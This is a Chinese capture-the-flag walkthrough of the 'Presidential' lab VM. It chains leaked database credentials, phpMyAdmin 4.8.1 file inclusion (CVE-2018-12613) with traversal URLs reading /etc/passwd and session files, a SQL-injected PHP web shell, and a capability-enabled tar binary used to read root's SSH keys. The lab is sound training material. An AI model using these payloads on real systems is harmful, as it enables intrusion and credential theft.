23、Presidential

难度 中

目标 root权限 2个flag

基于virtualbox启动

题目提示枚举是你的朋友

kali 192.168.86.102 靶机 192.168.86.107

信息收集

端口扫描

tcp开启的端口就两个,稳妥起见扫了一些常见的端口看是否有UDP协议开放的端口。同时nmap在扫描80端口提示可能存在的trace的请求方法

web测试

主页看了一下没有发现什么功能点

扫描目录

使用dirsearch直接跑

python3 dirsearch.py -u http://192.168.86.107/ -e txt,php,html,zip,bak

跑出一个config.php.bak有点意思

直接访问还看不到需要查看源代码

$dbUser = "votebox";

$dbPass = "casoj3FFASPsbyoRP";

$dbHost = "localhost";

$dbname = "votebox";

这些估计是数据库的账号密码但是数据库的端口并没有开放出来

那么使用这些作为字典去测试一下ssh看能不能登录,然而并没有成功

然后没什么思路了看了下wp好家伙又要添加域名。。。。。。

虽然之前也遇到过这样的情况但是还是没有第一时间想到

把这个域名添加到hosts文件中

然后又爆破一波目录没有新的结果,那么挖掘一波子域名

gobuster vhost -u http://votenow.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --append-domain --timeout 60s --random-agent -q |grep "Status: 200"

跑子域名这种也是需要用各种字典去测。。。

将新得到的子域名也写入到hosts文件中

访问子域名是一个phpmyadmin

 突破边界

用刚才得到的账号密码登录

$dbUser = "votebox";

$dbPass = "casoj3FFASPsbyoRP";

进来翻一下数据库文件发现有个admin和密码

$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i

那个在线解密网站要钱。。。只能本地使用john看能不能解出来

爆了很久可能是虚拟机的cpu没给多终于爆出来了 Stella

拿着这个进行ssh登录但是失败了,说没有这个名字。

另外继续在页面找一下信息,看到是phpmyadmin先看看版本4.8.1

然后在网上搜索或者在msfz中搜索一下有没有可以利用的漏洞

先尝试rce的漏洞

执行后没有反应

然后试一试第一个文件包含

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

可以看到成功包含了文件,同时得知有个admin用户。那么可以尝试包含日志文件getshell

但是尝试了一下没有找到常见的日志不太好包含,网站的路径也不知道

再看看第二个文件包含怎么利用的

没看懂这个payload的使用方式,直接访问也没有反应,在网上搜索了一下CVE-2018-12613

首先先输入一个SQL语句

SELECT '<?php phpinfo()?>';

然后找打phpmyadmin的cookie

d2vmej86knkpthep2n5kejqlt5ak018l

然后访问这个路径,这个路径还有几种路径有可能在/tmp/sess_[当前会话session]或者在/var/lib/php/sessions/sess_[当前会话session]

这里在 /index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_d2vmej86knkpthep2n5kejqlt5ak018l

可以看到成功的包含了文件,那么可以尝试写入shell了

输入

SELECT '<?php system($_GET["cmd"]);?>';

再次包含的时候添加参数&cmd=反弹shell的命令

直接使用/bin/bash反弹shell成功

使用python -c 'import pty;pty.spawn("/bin/bash")' 提升一下shell

进入后尝试sudo -l要密码

然后使用前面获取的admin和密码看能不能su admin

很好果然密码是对的估计是限制了不允许admin使用ssh登录

提权

进入admin目录有两个文件,拿到一个flag,但是notes.txt文件读取出来好像是提示

他说利用新命令备份和压缩敏感文件

估计是有个压缩的命令可以用来提权。

不过我看了一下内核版本符合脏牛漏洞的范围疑似可以使用dirtycow提权

不过先上了信息收集工具linpeas.sh 找了一下那个命令

应该是这个tars命令

或者使用

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" -exec ls -l {} \; 2>/dev/null

也可以找到

但是tarS并不是SUID,没看出来有什么可以利用的地方。。。

看了下wp和Capabilities漏洞有关,我也是第一次了解到这个漏洞

Linux Capabilities 简介 - sparkdev - 博客园

就是因为SUID给的权限太大了于是使用这个用来细分权限

使用

getcap -r / 2>/dev/null

用来查看哪些程序进行了 Capabilities的设置

查一下tarS 的权限

+ep应该是更高的权限

也就是说tarS在压缩文件的时候是无视使用者的权限,相当于sudo去执行一样只不过值针对于压缩行为

那么我们可以使用这个命令去压缩一些我们无法访问的目录然后解压再读取

tarS的使用方式和tar差不多,可以使用--help查看使用方式

解压

tarS -xvf root.tar

拿到第二个flag

同时在.ssh中发现啊有个公钥和私钥

并且authorized_keys中写好了公钥那么可以尝试那这个私钥进行登录

成功拿到root权限。

 后记

        整体还是挺有意思的,了解了phpmyadmin的一些历史漏洞以及Capabilities权限的一些咯漏洞利用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值